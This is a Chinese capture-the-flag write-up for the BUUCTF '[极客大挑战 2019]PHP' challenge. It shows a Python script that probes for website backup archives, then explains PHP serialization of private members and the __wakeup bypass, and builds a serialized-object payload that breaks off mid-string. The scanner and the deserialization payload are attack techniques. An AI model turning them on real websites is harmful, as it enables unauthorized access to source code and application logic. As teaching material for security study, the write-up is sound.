16.[极客大挑战 2019]PHP
这道题纪律性的检查了一遍但是并没有发现什么奇怪的地方,emmmm这个题该从哪里入手呢? 题目提示:
代码语言:javascript复制因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!!
备份!尝试使用脚本扫描备份文件: 废话不多说直接上脚本:
代码语言:javascript复制import requests
url1 = 'http://a1e15abf-0034-41f1-81de-93f4938b7696.node4.buuoj.cn:81'
# url为被扫描地址,后不加‘/’
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
back = str(i) '.' str(j)
url = str(url1) '/' back
print(back ' ', end='')
print(requests.get(url).status_code)
其它都是404,但是有一个被扫描出来了:
代码语言:javascript复制www.zip 200
那我就去访问一下,是一个压缩包,下载之后得到这些文件:
里面直接就有flag.php,打开发现是个假的flag。
继续查看index.php文件,其中包括源码:
包含有class.php,并且通过GET方式传入了参数select 查看class.php文件:
魔术方法 __wakeup()
- 首先看如何得flag,一看就很明显了,需要反序列化后满足 password = 100 和username === 'admin'
- 然后看到魔术方法 __wakeup()和 ,该函数会在执行unserialize时触发,执行后变量username的值将变成guest
- 但这个绕过是很简单的,只需要在反序列化前修改字符串中表示对象里属性的个数的数字。但实际却发现,只修改这里后再传入还 是会有问题。
- 这里专门开一篇单独的文章来详细探讨这个问题想把这道题弄清楚的必须要去看:PHP序列化
- 发现触发报错,说明变量username 和 password 没有被正确赋值 但是在序列化前已经让变量赋值了,其实是private 和 public 的问题。
这里在解出来最后一步payload之前科普一下知识点(记笔记):
1.public;protected与private在序列化时的区别:
代码语言:javascript复制Public (公共的):
可以在程序中的任何位置(类内、类外)被其他的类和对象调用。子类可以继承和使用父类中所有的公共成员。
Private (私有的):
被Private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以
**如果直接调用,就会发生错误**
Protect (受保护的):
用Protected修饰的类成员,可以在本类和子类中被调用,但是在其他地方不能被调用
各访问修饰符序列化后的区别:
代码语言:javascript复制Public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
Protected:属性被序列化的时候属性名会变成 * 属性名,长度跟随属性名长度而改变
Private:属性被序列化的时候属性名会变成 类名 属性名,长度跟随属性名长度而改变
protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。 因此保护字段的字段名在序列化时,字段名前面会加上0*0的前缀。这里的 0 表示 ASCII 码为 0 的字符(不可见字符),而不是 0 组合。 这也许解释了,为什么如果直接在网址上,传递0*0username会报错,因为实际上并不是0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。 private:声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度。其中 0 字符也是计算长度的。
2.__wakeup()方法绕过 作用: 与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。 绕过: 当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup()函数的执行。
这里的username 和 password都为私有成员。理论上序列化后应该会有所不同,但实际上却没变化 Private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失 所以前面说加 的目的就是用于替代0 .
解题:
代码语言:javascript复制反序列化绕过一下__wakeup即可,POC如下:
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$res = new Name();
echo serialize($res);
代码语言:javascript复制O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
私有属性将序列化出来的字符串中的类名两侧换成 并且将属性个数调至3或者更高:
代码语言:javascript复制O:4:"Name":3:{s:14:"